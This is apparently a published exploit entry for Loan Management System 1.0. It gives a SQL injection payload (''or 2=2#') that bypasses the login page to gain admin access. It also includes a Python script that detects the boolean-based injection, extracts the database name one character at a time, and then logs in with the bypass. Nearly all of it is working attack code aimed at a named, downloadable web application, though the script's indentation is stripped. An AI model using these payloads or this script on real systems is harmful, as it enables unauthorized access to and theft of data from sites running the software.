Loan Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
d75b3ab8871f404b65b13fe82c8b4fbaec1f02123dfe8233f01f7fef75a37fe1# Exploit Title: Loan Management System - SQL Injection via login page
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL
# The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.
# Payload --> 'or 2=2#
# The python script to get the database name from SQL Injection Vulnerability can be execute below.
import requests, string, sys, warnings, time, concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)
dbname = ''
req = requests.Session()
def login(ip,username,password):
target = "http://%s/LMS/login.php" %ip
data = {'username': username,'password':password, 'login':''}
response = req.post(target, data=data)
if 'Login Successful' in response.text:
print("[$] Success Login with credentials "+username+":"+password+"")
else:
print("[$] Failed Login with credentials "+username+":"+password+"")
def check_injection():
# library inj
test_query0 = "'or 1=2#"
test_query1 = "'or 2=2#"
target = "http://%s/LMS/login.php" %ip
result = ""
for i in range(2):
if i==0:
data = {'username': test_query0,'password':password, 'login':''}
response = req.post(target, data=data)
if response.text=="success":
result = response.text
else:
pass
if i==1:
data = {'username': test_query1,'password':password, 'login':''}
response = req.post(target, data=data)
if response.text=="success":
result = response.text
else:
pass
if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":
print("[##] SQLI Boolean-Based Present at password field :)")
else:
print("[##] No SQLI :)")
def brute(dbname,password):
target = "http://%s/LMS/login.php" %ip
l=0
# checking length of dbname star with i = 1
for i in (n+1 for n in range(9)):
payload = "'or 2=2 and length(database())='"+ str(i) +"'#"
#print(payload)
data = {'username': payload,'password':password, 'login':''}
response = req.post(target, data=data)
result = response.text
#print(result)
if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":
print("[##] The correct length of DB name is "+str(i))
l=i
break
else:
print("[##] The length of DB name "+str(i)+" is wrong")
pass
char = [char for char in string.ascii_lowercase]
char.append('_')
#print(char)
dbname = []
for i in range(l):
for j in char:
payload = "'or 2=2 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"
data = {'username': payload,'password':password, 'login':''}
response = req.post(target, data=data)
result = response.text
#print(payload)
#print(result)
if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":
dbname.append(j)
print("[+] The " + str(i+1) + " char of DB name is "+str(j))
break
else:
pass
dbname = ''.join(dbname)
print("[+] Database name retrieved --> "+dbname)
print("[+] Bypass completed :)")
print("[+] Bypass payload can be used is \n'or 2=2#")
username = "'or 2=2#"
print("\nRetry to login with new payload in password field")
login(ip,username,password)
if __name__ == "__main__":
print(" _____ _ __ ")
print(" / ___/____ _(_) /_____ _____ ___ ____ _____ ____ _")
print(" \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")
print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")
print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / ")
print(" /____/ \n\n")
try:
ip = sys.argv[1].strip()
username = sys.argv[2].strip()
password = sys.argv[3].strip()
login(ip,username,password)
check_injection()
brute(dbname,password)
except IndexError:
print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
print("[-] Example: %s 192.168.149.130 admin admin123" % sys.argv[0])
sys.exit(-1)